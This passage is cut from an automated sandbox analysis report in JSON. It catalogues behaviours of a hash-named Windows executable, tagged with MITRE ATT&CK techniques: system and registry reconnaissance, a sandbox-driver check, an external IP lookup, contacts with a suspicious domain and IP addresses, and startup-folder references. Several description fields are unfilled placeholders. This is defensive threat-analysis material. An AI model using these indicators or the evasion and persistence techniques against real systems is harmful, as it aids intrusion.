\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"tlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00003720.00000000.155055.03010000.00000004.mdmp\")\n Found reference to API \"tlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00005660.00000000.157622.03560000.00000004.mdmp\")\n Found reference to API \"GetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeNameForVolumeMountPointW\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\")\n Found reference to API \"GetVolumeNameForVolumeMountPointW\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; Source: \"00000000-00003720.00000000.155055.00401000.00000020.mdmp\")\n Found reference to API \"GetVolumeNameForVolumeMountPointW\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; Source: \"00000000-00005260.00000000.155704.00401000.00000020.mdmp\")\n Found reference to API \"GetVolumeNameForVolumeMountPointW\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; Source: \"00000000-00005660.00000000.157622.00401000.00000020.mdmp\")\n Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"$33","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to verify if file exist on disk (API string)","description":"Found reference to API \"PathFileExistsA\" (Indicator: \"PathFileExist\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-140","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Access type: \"QUERY\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\"; Key: \"\"; Value: \"\")\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{D03DB0C1-2729-4674-A875-8625DD784300}\"; Key: \"ENABLEDHCP\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\43F8D48262990C633247FE9940CE1AF9268EF44F1E1A7D9A865C8DF69710D4F2.EXE\")\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\BUILD3.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to retrieve device driver information","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\SANDBOXFLTR\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1652","relevance":1,"id":"registry-174","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI)\" (SID: 2033214, Rev: 2, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO External IP Address Lookup DNS Query (2ip .ua)\" (SID: 2027026, Rev: 3, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$34","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$35","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"CopyFileW\" to copy C:\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe to new location %LOCALAPPDATA%\\0d22269f-cd2d-42d7-a8f0-0801a4163d01\\43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4 (UID: 00000000-00000656)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\0d22269f-cd2d-42d7-a8f0-0801a4163d01 (UID: 00000000-00000656)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"CreateDirectoryA\" with parameter %LOCALAPPDATA%\\2c5e88be-1b09-45a3-bf46-9344370fc3da (UID: 00000000-00006816)\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" called \"CreateDirectoryW\" with parameter C:\\SystemID (UID: 00000000-00006816)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$36","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$38","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"api.2ip.ua\"\n \"zexeq.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"104.21.16.1:443\"\n \"188.40.141.211:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: 43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryA@KERNEL32.dll at 00000000-00006816-25957-2824-004C28F0\n LoadLibraryA@KERNEL32.dll at 00000000-00006816-25957-2825-004C2700","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"yncShellExecute\" (Indicator: \"ShellExecute\"; Source: \"00000000-00006816.00000001.158086.00690000.00000004.mdmp, 00000000-00006816.00000001.158086.05AA0000.00000004.mdmp, 00000000-00006816.00000002.160006.00690000.00000004.mdmp, 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006816.00000002.160006.04CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\desktop.ini\" (Indicator: \"c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00006816.00000001.158086.00690000.00000004.mdmp\n 00000000-00006816.00000002.160006.00690000.00000004.mdmp\n 00000000-00006816.00000002.160006.04D40000.00000002.mdmp\n \"C:\\Users\\HAPUBWS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini\" (Indicator: \"c:\\users\\hapubws\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00006816.00000001.158086.05AA0000.00000004.mdmp\n 00000000-00006816.00000002.160006.04D40000.00000002.mdmp\n 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\SM0:656:64:WilError_01\"\n \"Local\\SM0:656:168:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"SM0:656:64:WilError_01\"\n \"{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}\"\n \"SM0:6816:64:WilError_01\"\n \"Local\\SM0:6816:168:WilStaging_02\"\n \"Local\\SM0:6816:64:WilError_01\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Found string that contains outlook file extensions .ost/.pst","description":"\".pst\" (Indicator: \".pst\") in Source: 00000000-00006816.00000002.160006.00690000.00000004.mdmp\n \"??\\C:\\Users\\HAPUBWS\\Documents\\Outlook Files\\Outlook1.pst\" (Indicator: \".pst\") in Source: 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1114.001","relevance":1,"id":"string-179","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"User-Agent: Microsoft Internet Explorer\" (Indicator: \"user-agent: \"; Source: \"00000000-00006816.00000000.156167.00690000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$3f","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$40","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 755A0000\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72DB0000\n \"icacls.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 755A0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75780000\n \"icacls.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75780000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$41","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" has an writable section named \".data\"\n \"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" has an writable section named \".desax\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe\" file has an entrypoint instructions - \"call\t0x408331,jmp\t0x404e70,mov\tedi, edi,push\tebp,mov\tebp, esp,sub\tesp, 0x20,mov\teax, dword ptr [ebp + 8],push\tesi,push\tedi,push\t8,pop\tecx,mov\tesi, 0x4012ec,lea\tedi, [ebp - 0x20],rep movsd\tdword ptr es:[edi], dword ptr [esi],mov\tdword ptr [ebp - 8], 